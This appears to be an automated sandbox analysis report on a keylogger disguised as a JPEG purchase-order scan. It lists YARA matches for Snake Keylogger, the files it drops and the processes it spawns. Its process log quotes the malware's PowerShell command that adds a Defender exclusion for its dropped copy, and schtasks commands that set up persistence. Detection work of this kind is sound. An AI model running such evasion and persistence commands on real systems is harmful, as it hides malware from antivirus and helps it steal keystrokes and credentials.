Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691D999	6_2_0691D999
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_0691D9A8	6_2_0691D9A8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_052132E0	8_2_052132E0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_052132D0	8_2_052132D0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_052108D4	8_2_052108D4
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085A18D8	8_2_085A18D8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085A4900	8_2_085A4900
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AB99C	8_2_085AB99C
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085A2040	8_2_085A2040
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085A72E0	8_2_085A72E0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085A85B1	8_2_085A85B1
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AD5A0	8_2_085AD5A0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AD830	8_2_085AD830
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AD821	8_2_085AD821
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AAAF8	8_2_085AAAF8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AA1F3	8_2_085AA1F3
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AA200	8_2_085AA200
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AB398	8_2_085AB398
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AB3A8	8_2_085AB3A8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AD591	8_2_085AD591
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085AA638	8_2_085AA638
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029ED278	11_2_029ED278
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029E5370	11_2_029E5370
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029EA088	11_2_029EA088
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029EC146	11_2_029EC146
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029EC738	11_2_029EC738
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029EC468	11_2_029EC468
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029ECA08	11_2_029ECA08
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029EE988	11_2_029EE988
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029E69A0	11_2_029E69A0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029E3E09	11_2_029E3E09
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029ECFAB	11_2_029ECFAB
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029E6FC8	11_2_029E6FC8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029ECCD8	11_2_029ECCD8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029E29E0	11_2_029E29E0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029EE97B	11_2_029EE97B
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_029EF961	11_2_029EF961
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06961E80	11_2_06961E80
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_069617A0	11_2_069617A0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06969C18	11_2_06969C18
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696FC68	11_2_0696FC68
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06968BA0	11_2_06968BA0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06960B30	11_2_06960B30
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06969328	11_2_06969328
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06965028	11_2_06965028
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06962968	11_2_06962968
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696E6B0	11_2_0696E6B0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696E6A0	11_2_0696E6A0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696DE00	11_2_0696DE00
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06961E70	11_2_06961E70
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696178F	11_2_0696178F
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696EF51	11_2_0696EF51
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696EF60	11_2_0696EF60
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696CCA0	11_2_0696CCA0
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696DDFE	11_2_0696DDFE
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696D550	11_2_0696D550
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696D540	11_2_0696D540
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06969548	11_2_06969548
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696EAF8	11_2_0696EAF8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696E258	11_2_0696E258
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696E249	11_2_0696E249
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696F3B8	11_2_0696F3B8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696EB08	11_2_0696EB08
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06960B20	11_2_06960B20
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696D0F8	11_2_0696D0F8
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696D0E9	11_2_0696D0E9
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696F810	11_2_0696F810
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06965018	11_2_06965018
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06960006	11_2_06960006
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696F801	11_2_0696F801
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06960040	11_2_06960040
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696D999	11_2_0696D999
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_0696D9A8	11_2_0696D9A8

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Static PE information: invalid certificate

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1740591125.000000000C120000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1732669565.0000000003490000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1731934591.000000000148E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4128482738.0000000000444000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4129273715.0000000000D37000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Binary or memory string: OriginalFilenameOzOE.exe> vs Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 6.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: HJnkiZjAPsec.exe PID: 7260, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: HJnkiZjAPsec.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, Gh561AECFfZnyUrvtJ.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, Gh561AECFfZnyUrvtJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, Gh561AECFfZnyUrvtJ.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, nhtqyFvX8yKhXJY77Y.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, nhtqyFvX8yKhXJY77Y.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, Gh561AECFfZnyUrvtJ.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, Gh561AECFfZnyUrvtJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, Gh561AECFfZnyUrvtJ.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16/11@4/4

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

File created: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Mutant created: \Sessions\1\BaseNamedObjects\QmQWkgusceIGVbkjV
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

File created: C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp

Jump to behavior

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

File read: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe"
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpCB45.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process created: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp"	Jump to behavior
